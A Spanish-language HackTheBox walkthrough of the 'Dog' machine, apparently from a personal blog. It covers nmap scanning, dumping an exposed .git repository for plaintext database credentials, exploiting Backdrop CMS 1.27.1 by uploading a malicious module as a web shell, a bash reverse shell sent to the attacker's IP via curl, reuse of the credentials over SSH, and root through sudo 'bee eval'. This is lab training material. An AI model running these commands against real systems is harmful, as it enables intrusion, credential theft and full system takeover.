Dog


Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Dog. Este resultado lo almacenaremos en un archivo llamado allPorts.

❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.58 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:13 CET
Initiating SYN Stealth Scan at 18:13
Scanning 10.10.11.58 [65535 ports]
Discovered open port 22/tcp on 10.10.11.58
Discovered open port 80/tcp on 10.10.11.58
Completed SYN Stealth Scan at 18:13, 18.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.58
Host is up, received user-set (0.062s latency).
Scanned at 2025-03-21 18:13:17 CET for 18s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds
           Raw packets sent: 65776 (2.894MB) | Rcvd: 65785 (2.632MB)

A través de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.11.58
	[*] Open ports: 22,80

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache con un directorio /.git/ y el servicio de SSH.

❯ nmap -sCV -p22,80 10.10.11.58 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:14 CET
Nmap scan report for 10.10.11.58
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   91.17 ms 10.10.16.1
2   45.90 ms 10.10.11.58

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

❯ xsltproc targetedXML > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato más cómodo para su análisis.

Web Enumeration

Accederemos a http://10.10.11.58 y comprobaremos las siguientes páginas web. Se trata de una página web relacionada con un blog sobre la obesidad en los perros. Nos ofrece un portal de inicio de sesión en la página web. Por otro lado, también confirmamos que está montado a través de Backdrop CMS.

Por otro lado, en la página de About, nos encontramos con un correo electrónico con un nombre de dominio llamado dog.htb.

Initial Access

Downloading Git Folder disclosure

En el escaneo a través de Nma, nos encontramos con un directorio /.git expuesto en la página web. A través de la herramienta de GitHack nos descargaremos el repositorio en nuestra máquina local. Verificamos que tiene un total de 458 directorios y 2873 archivos que podremos analizar.

❯ python3 /opt/GitHack/GitHack.py http://10.10.11.58/.git/ 2>/dev/null 
[+] Download and parse index file ...

...[SNIP]...

❯ cd 10.10.11.58

❯ tree -a | tail -n 1
458 directories, 2873 files

Information Leakage

Dentro de los archivos que nos hemos descargado del directorio /.git/, nos encontramos con un archivo llamado settings.php en el cual aparecen expuestas las credenciales en texto plano del usuario de la base de datos que utiliza la aplicación web.

settings.php
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

...[SNIP]...

Por otro lado, tratamos de listar nombres de usuarios que se pudieran encontrar en el directorio. Mediante grep -r buscamos diferentes maneras, a través de username, user, password, passwd, etc pero no encontramos nada. Realizando una búsqueda recursiva a través del nombre de dominio, nos encontramos con un usuario llamado tiffany@dog.htb.

❯ grep -r '@dog.htb' * 2>/dev/null
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Dentro del contenido del directorio /.git/ que nos hemos encontrado, podemos comprobar un archivo en el cual parece proporcionarnos la versión exacta que utiliza el Backdrop CMS.

core/modules/user/user.info
type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE

configure = admin/config/people

stylesheets[all][] = css/user.css

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662

Realizando una búsqueda a través de la herramienta de searchsploit, conseguimos encontrar una vulnerabilidad para dicha versión. Además esta vulnerabilidad consiste en obtener un RCE, el único requisito es estar autenticado en el CMS.

En nuestro caso, tenemos un posible usuario válido (tiffany) y unas credenciales de la base de datos que muy probablemente se reutilicen o no.

❯ searchsploit BackDrop CMS 1.27.1
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)                                                                                                                                  | php/webapps/52021.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Nos copiaremos el exploit que nos proporciona searchsploit a nuestro directorio actual de trabajo.

❯ searchsploit -m php/webapps/52021.py
  Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/52021
     Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
    Codes: N/A
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gzzcoo/Desktop/HackTheBox/Linux/Dog/content/52021.py


❯ ls -l 52021.py
.rwxr-xr-x gzzcoo gzzcoo 2.5 KB Fri Mar 21 18:31:08 2025  52021.py

Al ejecutar el exploit, nos proporciona un archivo shell.zip y las instrucciones para realizar la explotación. Básicamente deberemos subir este nuevo módulo en el CMS y se nos proporcionará una especie de web shell.

❯ python3 52021.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php

❯ ls -l shell.zip
.rw-rw-r-- gzzcoo gzzcoo 1.1 KB Fri Mar 21 18:32:00 2025  shell.zip

Accederemos a http://10.10.11.58/?q=user/login y trateremos de autenticarnos con el usuario y la contraseña encontrada para verificar si podemos acceder al CMS.

Verificamos que las credenciales se reutilizaban y el usuario tiffany era válido para acceder. El siguiente paso será acceder a http://10.10.11.58/?q=admin/modules/install y darle a la opción de Manual Installation para subir el módulo malicioso.

En el siguiente apartado, deberemos de subir el shell.zip en el apartado de Upload a module....

Al tratar de subir el archivo shell.zip, la aplicación web nos indica que solamente están permitidos los archivos con extensión tar tgz gz bz2.

Descomprimiremos nuestro archivo malicioso shell.zip y lo volveremos a comprimir en el formato adecuado.

❯ unzip shell.zip
Archive:  shell.zip
 extracting: shell/shell.info        
 extracting: shell/shell.php
          
❯ tar -czf shell.tar.gz shell/

❯ ls -l shell.tar.gz
.rw-rw-r-- gzzcoo gzzcoo 678 B Fri Mar 21 18:37:35 2025  shell.tar.gz

Al repetir el proceso subiendo este nuevo archivo shell.tar.gz, se nos indica que el módulo se ha instalado correctamente en el CMS.

Acceeremos a la ruta que se nos indicaba al generar el módulo malicioso (http://10.10.11.58/modules/shell/shell.php) y comprobaremos que disponemos de una web shell. Trataremos de ejecutar el comando whoami y nos devuelve el resultado del comando realizado.

Con lo cual, tenemos una vía potencial para ejecutar comando arbitrario en el equipo vulnerable.

El siguiente paso será lograr obtener una Reverse Shell y ganar acceso al sistema. Para ello, nos pondremos en escucha con nc para recibir la conexión.

❯ nc -nlvp 443
listening on [any] 443 ...

Codificaremos el comando de la Reverse Shell que necesitaremos ejecutar en la web shell. Una vez aplicado el URL Encode, a través de cURL realizaremos la solicitud para proporcionarnos la Reverse Shell a través de la web shell subida.

❯ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | jq -sRr @uri
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22

❯ curl -s 'http://10.10.11.58/modules/shell/shell.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22'

Verificamos que hemos ganado acceso al equipo vulnerable y nos encontramos actualmente con el usuario www-data.

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 55796
bash: cannot set terminal process group (916): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-data

Initial Access

Database Enumeration

En este caso, disponemos de las credenciales del usuario de la base de datos, estas credenciales las encontramos en el archivo settings.php con las cuales realizaremos una enumeración de la base de datos.

Nos encontramos con una tabla interesantes llamada users.

bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "show tables;"
<ackDropJ2024DS2024' -D "backdrop" -e "show tables;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
...[SNIP]...
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+

Al revisar la tabla users, localizamos diferentes usuarios con contraseñas hasheadas. Intentamos crackear estas credenciales pero no logramos obtener resultado positivo.

bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "SELECT * FROM users;"                                               
<2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name              | pass                                                    | mail                       | signature | signature_format | created    | changed    | access     | login      | status | timezone | language | picture | init                       | data       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
|   0 |                   |                                                         |                            |           | NULL             |          0 |          0 |          0 |          0 |      0 | NULL     |          |       0 |                            | NULL       |
|   1 | jPAdminB          | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb           |           | NULL             | 1720548614 | 1720584122 | 1720714603 | 1720584166 |      1 | UTC      |          |       0 | jPAdminB@dog.htb           | 0x623A303B |
|   2 | jobert            | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb             |           | NULL             | 1720584462 | 1720584462 | 1720632982 | 1720632780 |      1 | UTC      |          |       0 | jobert@dog.htb             | NULL       |
|   3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |           | NULL             | 1720632880 | 1720632880 | 1723752097 | 1723751569 |      1 | UTC      |          |       0 | dogBackDroopSystem@dog.htb | NULL       |
|   5 | john              | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb               |           | NULL             | 1720632910 | 1720632910 |          0 |          0 |      1 | UTC      |          |       0 | john@dog.htb               | NULL       |
|   6 | morris            | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb             |           | NULL             | 1720632931 | 1720632931 |          0 |          0 |      1 | UTC      |          |       0 | morris@dog.htb             | NULL       |
|   7 | axel              | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb               |           | NULL             | 1720632952 | 1720632952 |          0 |          0 |      1 | UTC      |          |       0 | axel@dog.htb               | NULL       |
|   8 | rosa              | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb               |           | NULL             | 1720632982 | 1720632982 |          0 |          0 |      1 | UTC      |          |       0 | rosa@dog.htb               | NULL       |
|  10 | tiffany           | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb            |           | NULL             | 1723752136 | 1723752136 | 1742578785 | 1742578596 |      1 | UTC      |          |       0 | tiffany@dog.htb            | NULL       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+

Password Reuse

Revisando los usuarios del equipo que disponen de bash y de un directorio personal en /home nos encontramos con dos usuarios.

bash-5.0$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
bash-5.0$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 4 jobert     jobert     4096 Feb  7 15:59 jobert
drwxr-xr-x 3 johncusack johncusack 4096 Mar 21 14:15 johncusack

Probamos de verificar si el usuario johncusack reutilizaba las credenciales encontradas en el archivo settings.php. Finalmente logramos conectarnos y verificar la flag user.txt.

❯ sshpass -p 'BackDropJ2024DS2024' ssh johncusack@10.10.11.58
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 21 Mar 2025 05:49:38 PM UTC

  System load:           0.0
  Usage of /:            49.3% of 6.32GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             238
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.58
  IPv6 address for eth0: dead:beef::250:56ff:fe94:1884


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Mar 21 17:49:39 2025 from 10.10.16.2
johncusack@dog$ cat user.txt 
2721e***************************

Privilege Escalation

Abusing privileges sudoers (bee)

Revisando si el usuario johncusack dispone de algún permiso de sudoers, nos encontramos que puede ejecutar el binario/usr/local/bin/bee como el usuario sudo.

Bee es una utilidad de línea de comandos para el CMS de Background. Incluye comandos que permiten a los desarrolladores interactuar con los sitios de Background, realizando acciones como:

  • Ejecutar cron

  • Borrar cachés

  • Descargar e instalar Background

  • Descargar, habilitar y deshabilitar proyectos

  • Ver información sobre un sitio o proyectos disponibles

johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Revisando el funcionamiento de la herramienta, nos encontramos con algunos parámetros bastente interesantes.

Según nos indica la herramienta, a través de la función eval podríamos ejecutar código PHP o mediante php-script ejecutar un script en PHP.

johncusack@dog:~$ sudo /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

 --site
 Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.

 --base-url
 Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.

 --yes, -y
 Answer 'yes' to questions without prompting.

 --debug, -d
 Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).


Commands:
 
...[SNIP]...
 
 ADVANCED
  db-query
   dbq
   Execute a query using db_query().

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

  sql
   sqlc, sql-cli, db-cli
   Open an SQL command-line interface using Backdrop's database credentials.

Al intentar ejecutar la siguiente instrucción para ejecutar un whoami, se nos indicaba que eval is not ready. Esto es debido que no nos encontramos en el directorio donde está instalado y configurado el Backdrop CMS.

johncusack@dog:~$ sudo /usr/local/bin/bee eval "system('whoami');"

 ✘  The required bootstrap level for 'eval' is not ready. 

Accederemos al directorio donde está configurado el Backdrop y al volver a ejecutar el comando, se nos indica que somos root. Esto debido que estamos ejecutando el binario a través de sudo debido que disponemos de permisos de sudoers sobre dicho binario.

johncusack@dog:~$ cd /var/www/html/
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
root

Por lo tanto. nos otorgaremos una /bin/bash y comprobamos que tenemos una shell como usuario root y podemos leer la flag root.txt.

johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('/bin/bash');"
root@dog:/var/www/html# whoami
root
root@dog:/var/www/html# cat /root/root.txt 
f9491b**************************

Última actualización

¿Te fue útil?